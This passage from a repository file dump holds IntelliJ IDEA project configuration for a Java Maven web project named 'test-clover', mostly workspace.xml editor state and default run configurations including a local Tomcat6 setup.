    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"EntryPointsManager\">\n    <entry_points version=\"2.0\" />\n  </component>\n  <component name=\"FrameworkDetectionExcludesConfiguration\">\n    <file type=\"web\" url=\"file://$PROJECT_DIR$\" />\n  </component>\n  <component name=\"IdProvider\" IDEtalkID=\"2B0AE6D376630C35142F6802EA5D6204\" />\n  <component name=\"MavenProjectsManager\">\n    <option name=\"originalFiles\">\n      <list>\n        <option value=\"$PROJECT_DIR$/pom.xml\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"ProjectRootManager\" version=\"2\" languageLevel=\"JDK_1_6\" assert-keyword=\"true\" jdk-15=\"true\" project-jdk-name=\"1.6\" project-jdk-type=\"JavaSDK\">\n    <output url=\"file://$PROJECT_DIR$/classes\" />\n  </component>\n</project>"
  },
  {
    "path": "test-clover/.idea/modules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectModuleManager\">\n    <modules>\n      <module fileurl=\"file://$PROJECT_DIR$/test-clover.iml\" filepath=\"$PROJECT_DIR$/test-clover.iml\" />\n    </modules>\n  </component>\n</project>"
  },
  {
    "path": "test-clover/.idea/scopes/scope_settings.xml",
    "content": "<component name=\"DependencyValidationManager\">\r\n  <state>\r\n    <option name=\"SKIP_IMPORT_STATEMENTS\" value=\"false\" />\r\n  </state>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/vcs.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"VcsDirectoryMappings\">\n    <mapping directory=\"\" vcs=\"\" />\n  </component>\n</project>"
  },
  {
    "path": "test-clover/.idea/workspace.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ChangeListManager\">\n    <list default=\"true\" id=\"0bf5fa12-8bec-464c-8a26-e606afdfee26\" name=\"Default\" comment=\"\" />\n    <ignored path=\"test-clover.iws\" />\n    <ignored path=\".idea/workspace.xml\" />\n    <ignored path=\"$PROJECT_DIR$/target/\" />\n    <ignored path=\".idea/dataSources.local.xml\" />\n    <option name=\"EXCLUDED_CONVERTED_TO_IGNORED\" value=\"true\" />\n    <option name=\"TRACKING_ENABLED\" value=\"true\" />\n    <option name=\"SHOW_DIALOG\" value=\"false\" />\n    <option name=\"HIGHLIGHT_CONFLICTS\" value=\"true\" />\n    <option name=\"HIGHLIGHT_NON_ACTIVE_CHANGELIST\" value=\"false\" />\n    <option name=\"LAST_RESOLUTION\" value=\"IGNORE\" />\n  </component>\n  <component name=\"ChangesViewManager\" flattened_view=\"true\" show_ignored=\"false\" />\n  <component name=\"CreatePatchCommitExecutor\">\n    <option name=\"PATCH_PATH\" value=\"\" />\n  </component>\n  <component name=\"DaemonCodeAnalyzer\">\n    <disable_hints />\n  </component>\n  <component name=\"ExecutionTargetManager\" SELECTED_TARGET=\"default_target\" />\n  <component name=\"FavoritesManager\">\n    <favorites_list name=\"test-clover\" />\n  </component>\n  <component name=\"FileEditorManager\">\n    <leaf>\n      <file leaf-file-name=\"spring-config.xml\" pinned=\"false\" current-in-tab=\"true\">\n        <entry file=\"file://$PROJECT_DIR$/src/main/resources/spring-config.xml\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state vertical-scroll-proportion=\"6.6\" vertical-offset=\"0\" max-vertical-offset=\"693\">\n              <caret line=\"14\" column=\"0\" selection-start-line=\"14\" selection-start-column=\"0\" selection-end-line=\"14\" selection-end-column=\"0\" />\n              <folding />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"web.xml\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/src/main/webapp/WEB-INF/web.xml\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"198\" max-vertical-offset=\"1848\">\n              <caret line=\"13\" column=\"36\" selection-start-line=\"13\" selection-start-column=\"36\" selection-end-line=\"13\" selection-end-column=\"36\" />\n              <folding />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"RemoteJobWithSpringAnnotation.java\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteJobWithSpringAnnotation.java\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"10\" max-vertical-offset=\"726\">\n              <caret line=\"12\" column=\"13\" selection-start-line=\"12\" selection-start-column=\"13\" selection-end-line=\"12\" selection-end-column=\"13\" />\n              <folding />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"pom.xml\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/pom.xml\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"0\" max-vertical-offset=\"2772\">\n              <caret line=\"13\" column=\"0\" selection-start-line=\"13\" selection-start-column=\"0\" selection-end-line=\"13\" selection-end-column=\"0\" />\n              <folding />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"RemoteJobWithSpring.java\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteJobWithSpring.java\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"0\" max-vertical-offset=\"627\">\n              <caret line=\"7\" column=\"13\" selection-start-line=\"7\" selection-start-column=\"13\" selection-end-line=\"7\" selection-end-column=\"13\" />\n              <folding />\n            </state>\n          </provider>\n        </entry>\n      </file>\n    </leaf>\n  </component>\n  <component name=\"IdeDocumentHistory\">\n    <option name=\"CHANGED_PATHS\">\n      <list>\n        <option value=\"$PROJECT_DIR$/src/main/java/com/gome/testclover/InitAllJobWithServlet.java\" />\n        <option value=\"$MAVEN_REPOSITORY$/com/gome/clover-core/dev-1.0/clover-core-dev-1.0.pom\" />\n        <option value=\"$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteFixedDateJobWithSpringAnnotation.java\" />\n        <option value=\"$PROJECT_DIR$/src/main/webapp/WEB-INF/web.xml\" />\n        <option value=\"$PROJECT_DIR$/pom.xml\" />\n        <option value=\"$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteJobWithSpringAnnotation.java\" />\n        <option value=\"$PROJECT_DIR$/src/main/resources/spring-config.xml\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"JsGulpfileManager\">\n    <detection-done>true</detection-done>\n  </component>\n  <component name=\"LogFilters\">\n    <option name=\"FILTER_ERRORS\" value=\"false\" />\n    <option name=\"FILTER_WARNINGS\" value=\"false\" />\n    <option name=\"FILTER_INFO\" value=\"true\" />\n    <option name=\"FILTER_DEBUG\" value=\"true\" />\n    <option name=\"CUSTOM_FILTER\" />\n  </component>\n  <component name=\"MavenImportPreferences\">\n    <option name=\"importingSettings\">\n      <MavenImportingSettings>\n        <option name=\"importAutomatically\" value=\"true\" />\n      </MavenImportingSettings>\n    </option>\n    <option name=\"enabledProfiles\">\n      <list>\n        <option value=\"nexus\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"MavenProjectNavigator\">\n    <treeState>\n      <PATH>\n        <PATH_ELEMENT>\n          <option name=\"myItemId\" value=\"\" />\n          <option name=\"myItemType\" value=\"org.jetbrains.idea.maven.navigator.MavenProjectsStructure$RootNode\" />\n        </PATH_ELEMENT>\n        <PATH_ELEMENT>\n          <option name=\"myItemId\" value=\"test-clover\" />\n          <option name=\"myItemType\" value=\"org.jetbrains.idea.maven.navigator.MavenProjectsStructure$ProjectNode\" />\n        </PATH_ELEMENT>\n      </PATH>\n      <PATH>\n        <PATH_ELEMENT>\n          <option name=\"myItemId\" value=\"\" />\n          <option name=\"myItemType\" value=\"org.jetbrains.idea.maven.navigator.MavenProjectsStructure$RootNode\" />\n        </PATH_ELEMENT>\n        <PATH_ELEMENT>\n          <option name=\"myItemId\" value=\"test-clover\" />\n          <option name=\"myItemType\" value=\"org.jetbrains.idea.maven.navigator.MavenProjectsStructure$ProjectNode\" />\n        </PATH_ELEMENT>\n        <PATH_ELEMENT>\n          <option name=\"myItemId\" value=\"Lifecycle\" />\n          <option name=\"myItemType\" value=\"org.jetbrains.idea.maven.navigator.MavenProjectsStructure$LifecycleNode\" />\n        </PATH_ELEMENT>\n      </PATH>\n      <PATH>\n        <PATH_ELEMENT>\n          <option name=\"myItemId\" value=\"\" />\n          <option name=\"myItemType\" value=\"org.jetbrains.idea.maven.navigator.MavenProjectsStructure$RootNode\" />\n        </PATH_ELEMENT>\n        <PATH_ELEMENT>\n          <option name=\"myItemId\" value=\"Profiles\" />\n          <option name=\"myItemType\" value=\"org.jetbrains.idea.maven.navigator.MavenProjectsStructure$ProfilesNode\" />\n        </PATH_ELEMENT>\n      </PATH>\n    </treeState>\n  </component>\n  <component name=\"MavenRunner\">\n    <option name=\"skipTests\" value=\"true\" />\n  </component>\n  <component name=\"ProjectFrameBounds\">\n    <option name=\"x\" value=\"-9\" />\n    <option name=\"y\" value=\"-9\" />\n    <option name=\"width\" value=\"1618\" />\n    <option name=\"height\" value=\"870\" />\n  </component>\n  <component name=\"ProjectLevelVcsManager\" settingsEditedManually=\"false\">\n    <OptionsSetting value=\"true\" id=\"Add\" />\n    <OptionsSetting value=\"true\" id=\"Remove\" />\n    <OptionsSetting value=\"true\" id=\"Checkout\" />\n    <OptionsSetting value=\"true\" id=\"Update\" />\n    <OptionsSetting value=\"true\" id=\"Status\" />\n    <OptionsSetting value=\"true\" id=\"Edit\" />\n    <OptionsSetting value=\"true\" id=\"Undo Check Out\" />\n    <OptionsSetting value=\"true\" id=\"Get Latest Version\" />\n    <ConfirmationsSetting value=\"0\" id=\"Add\" />\n    <ConfirmationsSetting value=\"0\" id=\"Remove\" />\n  </component>\n  <component name=\"ProjectView\">\n    <navigator currentView=\"ProjectPane\" proportions=\"\" version=\"1\">\n      <flattenPackages />\n      <showMembers />\n      <showModules />\n      <showLibraryContents />\n      <hideEmptyPackages />\n      <abbreviatePackageNames />\n      <autoscrollToSource />\n      <autoscrollFromSource />\n      <sortByType />\n    </navigator>\n    <panes>\n      <pane id=\"ProjectPane\">\n        <subPane>\n          <PATH>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"test-clover\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode\" />\n            </PATH_ELEMENT>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"External Libraries\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.ExternalLibrariesNode\" />\n            </PATH_ELEMENT>\n          </PATH>\n          <PATH>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"test-clover\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode\" />\n            </PATH_ELEMENT>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"test-clover\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode\" />\n            </PATH_ELEMENT>\n          </PATH>\n          <PATH>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"test-clover\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode\" />\n            </PATH_ELEMENT>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"test-clover\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode\" />\n            </PATH_ELEMENT>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"src\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode\" />\n            </PATH_ELEMENT>\n          </PATH>\n        </subPane>\n      </pane>\n      <pane id=\"PackagesPane\" />\n      <pane id=\"Scope\" />\n    </panes>\n  </component>\n  <component name=\"PropertiesComponent\">\n    <property name=\"GoToClass.includeLibraries\" value=\"false\" />\n    <property name=\"GoToClass.toSaveIncludeLibraries\" value=\"false\" />\n    <property name=\"GoToFile.includeJavaFiles\" value=\"false\" />\n    <property name=\"MemberChooser.sorted\" value=\"false\" />\n    <property name=\"MemberChooser.showClasses\" value=\"true\" />\n    <property name=\"MemberChooser.copyJavadoc\" value=\"false\" />\n    <property name=\"last_opened_file_path\" value=\"$PROJECT_DIR$/../clover/clover-admin/target/clover-admin-dev-1.0/WEB-INF/lib/clover-client-dev-1.0.jar!/\" />\n    <property name=\"WebServerToolWindowFactoryState\" value=\"false\" />\n    <property name=\"project.structure.last.edited\" value=\"Libraries\" />\n    <property name=\"project.structure.proportion\" value=\"0.15\" />\n    <property name=\"project.structure.side.proportion\" value=\"0.2\" />\n    <property name=\"dynamic.classpath\" value=\"false\" />\n    <property name=\"recentsLimit\" value=\"5\" />\n    <property name=\"restartRequiresConfirmation\" value=\"true\" />\n    <property name=\"LayoutCode.rearrangeEntriesXML\" value=\"false\" />\n    <property name=\"OverrideImplement.combined\" value=\"true\" />\n    <property name=\"OverrideImplement.overriding.sorted\" value=\"false\" />\n  </component>\n  <component name=\"RecentsManager\">\n    <key name=\"CopyFile.RECENT_KEYS\">\n      <recent name=\"D:\\mygit\\test-clover\\src\\main\\java\\com\\gome\\testclover\\spring\" />\n    </key>\n    <key name=\"CopyClassDialog.RECENTS_KEY\">\n      <recent name=\"com.gome.testclover.spring\" />\n    </key>\n  </component>\n  <component name=\"RunManager\" selected=\"Tomcat Server.tomcat6\">\n    <configuration default=\"true\" type=\"JUnit\" factoryName=\"JUnit\">\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <module name=\"\" />\n      <option name=\"ALTERNATIVE_JRE_PATH_ENABLED\" value=\"false\" />\n      <option name=\"ALTERNATIVE_JRE_PATH\" />\n      <option name=\"PACKAGE_NAME\" />\n      <option name=\"MAIN_CLASS_NAME\" />\n      <option name=\"METHOD_NAME\" />\n      <option name=\"TEST_OBJECT\" value=\"class\" />\n      <option name=\"VM_PARAMETERS\" value=\"-ea\" />\n      <option name=\"PARAMETERS\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"$MODULE_DIR$\" />\n      <option name=\"ENV_VARIABLES\" />\n      <option name=\"PASS_PARENT_ENVS\" value=\"true\" />\n      <option name=\"TEST_SEARCH_SCOPE\">\n        <value defaultName=\"singleModule\" />\n      </option>\n      <envs />\n      <patterns />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"Remote\" factoryName=\"Remote\">\n      <option name=\"USE_SOCKET_TRANSPORT\" value=\"true\" />\n      <option name=\"SERVER_MODE\" value=\"false\" />\n      <option name=\"SHMEM_ADDRESS\" value=\"javadebug\" />\n      <option name=\"HOST\" value=\"localhost\" />\n      <option name=\"PORT\" value=\"5005\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"#com.intellij.j2ee.web.tomcat.TomcatRunConfigurationFactory\" factoryName=\"Local\" ALTERNATIVE_JRE_ENABLED=\"false\">\n      <deployment />\n      <server-settings />\n      <predefined_log_file id=\"Tomcat\" enabled=\"true\" />\n      <predefined_log_file id=\"Tomcat Catalina\" enabled=\"true\" />\n      <predefined_log_file id=\"Tomcat Manager\" enabled=\"false\" />\n      <predefined_log_file id=\"Tomcat Host Manager\" enabled=\"false\" />\n      <predefined_log_file id=\"Tomcat Localhost Access\" enabled=\"false\" />\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"AndroidRunConfigurationType\" factoryName=\"Android Application\">\n      <module name=\"\" />\n      <option name=\"ACTIVITY_CLASS\" value=\"\" />\n      <option name=\"MODE\" value=\"default_activity\" />\n      <option name=\"DEPLOY\" value=\"true\" />\n      <option name=\"ARTIFACT_NAME\" value=\"\" />\n      <option name=\"TARGET_SELECTION_MODE\" value=\"EMULATOR\" />\n      <option name=\"USE_LAST_SELECTED_DEVICE\" value=\"false\" />\n      <option name=\"PREFERRED_AVD\" value=\"\" />\n      <option name=\"USE_COMMAND_LINE\" value=\"true\" />\n      <option name=\"COMMAND_LINE\" value=\"\" />\n      <option name=\"WIPE_USER_DATA\" value=\"false\" />\n      <option name=\"DISABLE_BOOT_ANIMATION\" value=\"false\" />\n      <option name=\"NETWORK_SPEED\" value=\"full\" />\n      <option name=\"NETWORK_LATENCY\" value=\"none\" />\n      <option name=\"CLEAR_LOGCAT\" value=\"false\" />\n      <option name=\"SHOW_LOGCAT_AUTOMATICALLY\" value=\"true\" />\n      <option name=\"FILTER_LOGCAT_AUTOMATICALLY\" value=\"true\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"#org.jetbrains.idea.devkit.run.PluginConfigurationType\" factoryName=\"Plugin\">\n      <module name=\"\" />\n      <option name=\"VM_PARAMETERS\" value=\"-Xmx512m -Xms256m -XX:MaxPermSize=250m -ea\" />\n      <option name=\"PROGRAM_PARAMETERS\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"MavenRunConfiguration\" factoryName=\"Maven\">\n      <MavenSettings>\n        <option name=\"myGeneralSettings\" />\n        <option name=\"myRunnerSettings\" />\n        <option name=\"myRunnerParameters\">\n          <MavenRunnerParameters>\n            <option name=\"profiles\">\n              <set />\n            </option>\n            <option name=\"goals\">\n              <list />\n            </option>\n            <option name=\"profilesMap\">\n              <map />\n            </option>\n            <option name=\"resolveToWorkspace\" value=\"false\" />\n            <option name=\"workingDirPath\" value=\"\" />\n          </MavenRunnerParameters>\n        </option>\n      </MavenSettings>\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"GrailsRunConfigurationType\" factoryName=\"Grails\">\n      <module name=\"\" />\n      <setting name=\"vmparams\" value=\"\" />\n      <setting name=\"cmdLine\" value=\"run-app\" />\n      <setting name=\"depsClasspath\" value=\"false\" />\n      <setting name=\"passParentEnv\" value=\"true\" />\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <setting name=\"launchBrowser\" value=\"false\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"JarApplication\" factoryName=\"JAR Application\">\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"Application\" factoryName=\"Application\">\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <option name=\"MAIN_CLASS_NAME\" />\n      <option name=\"VM_PARAMETERS\" />\n      <option name=\"PROGRAM_PARAMETERS\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"$PROJECT_DIR$\" />\n      <option name=\"ALTERNATIVE_JRE_PATH_ENABLED\" value=\"false\" />\n      <option name=\"ALTERNATIVE_JRE_PATH\" />\n      <option name=\"ENABLE_SWING_INSPECTOR\" value=\"false\" />\n      <option name=\"ENV_VARIABLES\" />\n      <option name=\"PASS_PARENT_ENVS\" value=\"true\" />\n      <module name=\"\" />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"TestNG\" factoryName=\"TestNG\">\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <module name=\"\" />\n      <option name=\"ALTERNATIVE_JRE_PATH_ENABLED\" value=\"false\" />\n      <option name=\"ALTERNATIVE_JRE_PATH\" />\n      <option name=\"SUITE_NAME\" />\n      <option name=\"PACKAGE_NAME\" />\n      <option name=\"MAIN_CLASS_NAME\" />\n      <option name=\"METHOD_NAME\" />\n      <option name=\"GROUP_NAME\" />\n      <option name=\"TEST_OBJECT\" value=\"CLASS\" />\n      <option name=\"VM_PARAMETERS\" value=\"-ea\" />\n      <option name=\"PARAMETERS\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"$PROJECT_DIR$\" />\n      <option name=\"OUTPUT_DIRECTORY\" />\n      <option name=\"ANNOTATION_TYPE\" />\n      <option name=\"ENV_VARIABLES\" />\n      <option name=\"PASS_PARENT_ENVS\" value=\"true\" />\n      <option name=\"TEST_SEARCH_SCOPE\">\n        <value defaultName=\"singleModule\" />\n      </option>\n      <option name=\"USE_DEFAULT_REPORTERS\" value=\"false\" />\n      <option name=\"PROPERTIES_FILE\" />\n      <envs />\n      <properties />\n      <listeners />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"js.build_tools.gulp\" factoryName=\"Gulp.js\">\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"FlexUnitRunConfigurationType\" factoryName=\"FlexUnit\" appDescriptorForEmulator=\"Android\" class_name=\"\" emulatorAdlOptions=\"\" method_name=\"\" package_name=\"\" scope=\"Class\">\n      <option name=\"BCName\" value=\"\" />\n      <option name=\"launcherParameters\">\n        <LauncherParameters>\n          <option name=\"browser\" value=\"a7bb68e0-33c0-4d6f-a81a-aac1fdb870c8\" />\n          <option name=\"launcherType\" value=\"OSDefault\" />\n          <option name=\"newPlayerInstance\" value=\"false\" />\n          <option name=\"playerPath\" value=\"FlashPlayerDebugger.exe\" />\n        </LauncherParameters>\n      </option>\n      <option name=\"moduleName\" value=\"\" />\n      <option name=\"trusted\" value=\"true\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"AndroidTestRunConfigurationType\" factoryName=\"Android Tests\">\n      <module name=\"\" />\n      <option name=\"TESTING_TYPE\" value=\"0\" />\n      <option name=\"INSTRUMENTATION_RUNNER_CLASS\" value=\"\" />\n      <option name=\"METHOD_NAME\" value=\"\" />\n      <option name=\"CLASS_NAME\" value=\"\" />\n      <option name=\"PACKAGE_NAME\" value=\"\" />\n      <option name=\"TARGET_SELECTION_MODE\" value=\"EMULATOR\" />\n      <option name=\"USE_LAST_SELECTED_DEVICE\" value=\"false\" />\n      <option name=\"PREFERRED_AVD\" value=\"\" />\n      <option name=\"USE_COMMAND_LINE\" value=\"true\" />\n      <option name=\"COMMAND_LINE\" value=\"\" />\n      <option name=\"WIPE_USER_DATA\" value=\"false\" />\n      <option name=\"DISABLE_BOOT_ANIMATION\" value=\"false\" />\n      <option name=\"NETWORK_SPEED\" value=\"full\" />\n      <option name=\"NETWORK_LATENCY\" value=\"none\" />\n      <option name=\"CLEAR_LOGCAT\" value=\"false\" />\n      <option name=\"SHOW_LOGCAT_AUTOMATICALLY\" value=\"true\" />\n      <option name=\"FILTER_LOGCAT_AUTOMATICALLY\" value=\"true\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"FlashRunConfigurationType\" factoryName=\"Flash App\">\n      <option name=\"BCName\" value=\"\" />\n      <option name=\"IOSSimulatorSdkPath\" value=\"\" />\n      <option name=\"adlOptions\" value=\"\" />\n      <option name=\"airProgramParameters\" value=\"\" />\n      <option name=\"appDescriptorForEmulator\" value=\"Android\" />\n      <option name=\"debugTransport\" value=\"USB\" />\n      <option name=\"debuggerSdkRaw\" value=\"BC SDK\" />\n      <option name=\"emulator\" value=\"NexusOne\" />\n      <option name=\"emulatorAdlOptions\" value=\"\" />\n      <option name=\"fastPackaging\" value=\"true\" />\n      <option name=\"fullScreenHeight\" value=\"0\" />\n      <option name=\"fullScreenWidth\" value=\"0\" />\n      <option name=\"launchUrl\" value=\"false\" />\n      <option name=\"launcherParameters\">\n        <LauncherParameters>\n          <option name=\"browser\" value=\"a7bb68e0-33c0-4d6f-a81a-aac1fdb870c8\" />\n          <option name=\"launcherType\" value=\"OSDefault\" />\n          <option name=\"newPlayerInstance\" value=\"false\" />\n          <option name=\"playerPath\" value=\"FlashPlayerDebugger.exe\" />\n        </LauncherParameters>\n      </option>\n      <option name=\"mobileRunTarget\" value=\"Emulator\" />\n      <option name=\"moduleName\" value=\"\" />\n      <option name=\"overriddenMainClass\" value=\"\" />\n      <option name=\"overriddenOutputFileName\" value=\"\" />\n      <option name=\"overrideMainClass\" value=\"false\" />\n      <option name=\"runTrusted\" value=\"true\" />\n      <option name=\"screenDpi\" value=\"0\" />\n      <option name=\"screenHeight\" value=\"0\" />\n      <option name=\"screenWidth\" value=\"0\" />\n      <option name=\"url\" value=\"http://\" />\n      <option name=\"usbDebugPort\" value=\"7936\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"GradleRunConfiguration\" factoryName=\"Gradle\">\n      <ExternalSystemSettings>\n        <option name=\"executionName\" />\n        <option name=\"externalProjectPath\" />\n        <option name=\"externalSystemIdString\" value=\"GRADLE\" />\n        <option name=\"scriptParameters\" />\n        <option name=\"taskDescriptions\">\n          <list />\n        </option>\n        <option name=\"taskNames\">\n          <list />\n        </option>\n        <option name=\"vmOptions\" />\n      </ExternalSystemSettings>\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"JavascriptDebugType\" factoryName=\"JavaScript Debug\">\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"Applet\" factoryName=\"Applet\">\n      <module name=\"\" />\n      <option name=\"MAIN_CLASS_NAME\" />\n      <option name=\"HTML_FILE_NAME\" />\n      <option name=\"HTML_USED\" value=\"false\" />\n      <option name=\"WIDTH\" value=\"400\" />\n      <option name=\"HEIGHT\" value=\"300\" />\n      <option name=\"POLICY_FILE\" value=\"$APPLICATION_HOME_DIR$/bin/appletviewer.policy\" />\n      <option name=\"VM_PARAMETERS\" />\n      <option name=\"ALTERNATIVE_JRE_PATH_ENABLED\" value=\"false\" />\n      <option name=\"ALTERNATIVE_JRE_PATH\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"CucumberJavaRunConfigurationType\" factoryName=\"Cucumber java\">\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <option name=\"myFilePath\" />\n      <option name=\"GLUE\" />\n      <option name=\"myNameFilter\" />\n      <option name=\"myGeneratedName\" />\n      <option name=\"MAIN_CLASS_NAME\" />\n      <option name=\"VM_PARAMETERS\" />\n      <option name=\"PROGRAM_PARAMETERS\" />\n      <option name=\"WORKING_DIRECTORY\" />\n      <option name=\"ALTERNATIVE_JRE_PATH_ENABLED\" value=\"false\" />\n      <option name=\"ALTERNATIVE_JRE_PATH\" />\n      <option name=\"ENABLE_SWING_INSPECTOR\" value=\"false\" />\n      <option name=\"ENV_VARIABLES\" />\n      <option name=\"PASS_PARENT_ENVS\" value=\"true\" />\n      <module name=\"\" />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"false\" name=\"tomcat6\" type=\"#com.intellij.j2ee.web.tomcat.TomcatRunConfigurationFactory\" factoryName=\"Local\" APPLICATION_SERVER_NAME=\"Tomcat6\" ALTERNATIVE_JRE_ENABLED=\"false\" ALTERNATIVE_JRE_PATH=\"\">\n      <option name=\"OPEN_IN_BROWSER\" value=\"false\" />\n      <option name=\"UPDATING_POLICY\" value=\"restart-server\" />\n      <deployment>\n        <artifact name=\"test-clover:war exploded\">\n          <settings>\n            <option name=\"CONTEXT_PATH\" value=\"/\" />\n          </settings>\n        </artifact>\n      </deployment>\n      <server-settings>\n        <option name=\"BASE_DIRECTORY_NAME\" value=\"Unnamed_test-clover_2\" />\n        <option name=\"HTTP_PORT\" value=\"8090\" />\n      </server-settings>\n      <predefined_log_file id=\"Tomcat\" enabled=\"true\" />\n      <predefined_log_file id=\"Tomcat Catalina\" enabled=\"true\" />\n      <predefined_log_file id=\"Tomcat Manager\" enabled=\"false\" />\n      <predefined_log_file id=\"Tomcat Host Manager\" enabled=\"false\" />\n      <predefined_log_file id=\"Tomcat Localhost Access\" enabled=\"false\" />\n      <extension name=\"coverage\" enabled=\"false\" merge=\"false\" sample_coverage=\"true\" runner=\"idea\" />\n      <RunnerSettings RunnerId=\"Cover\" />\n      <RunnerSettings RunnerId=\"Debug\">\n        <option name=\"DEBUG_PORT\" value=\"57228\" />\n        <option name=\"TRANSPORT\" value=\"0\" />\n        <option name=\"LOCAL\" value=\"true\" />\n      </RunnerSettings>\n      <RunnerSettings RunnerId=\"Run\" />\n      <ConfigurationWrapper VM_VAR=\"JAVA_OPTS\" RunnerId=\"Cover\">\n        <option name=\"USE_ENV_VARIABLES\" value=\"true\" />\n        <STARTUP>\n          <option name=\"USE_DEFAULT\" value=\"true\" />\n          <option name=\"SCRIPT\" value=\"\" />\n          <option name=\"VM_PARAMETERS\" value=\"\" />\n          <option name=\"PROGRAM_PARAMETERS\" value=\"\" />\n        </STARTUP>\n        <SHUTDOWN>\n          <option name=\"USE_DEFAULT\" value=\"true\" />\n          <option name=\"SCRIPT\" value=\"\" />\n          <option name=\"VM_PARAMETERS\" value=\"\" />\n          <option name=\"PROGRAM_PARAMETERS\" value=\"\" />\n        </SHUTDOWN>\n      </ConfigurationWrapper>\n      <ConfigurationWrapper VM_VAR=\"JAVA_OPTS\" RunnerId=\"Debug\">\n        <option name=\"USE_ENV_VARIABLES\" value=\"true\" />\n        <STARTUP>\n          <option name=\"USE_DEFAULT\" value=\"true\" />\n          <option name=\"SCRIPT\" value=\"\" />\n          <option name=\"VM_PARAMETERS\" value=\"\" />\n          <option name=\"PROGRAM_PARAMETERS\" value=\"\" />\n        </STARTUP>\n        <SHUTDOWN>\n          <option name=\"USE_DEFAULT\" value=\"true\" />\n          <option name=\"SCRIPT\" value=\"\" />\n          <option name=\"VM_PARAMETERS\" value=\"\" />\n          <option name=\"PROGRAM_PARAMETERS\" value=\"\" />\n  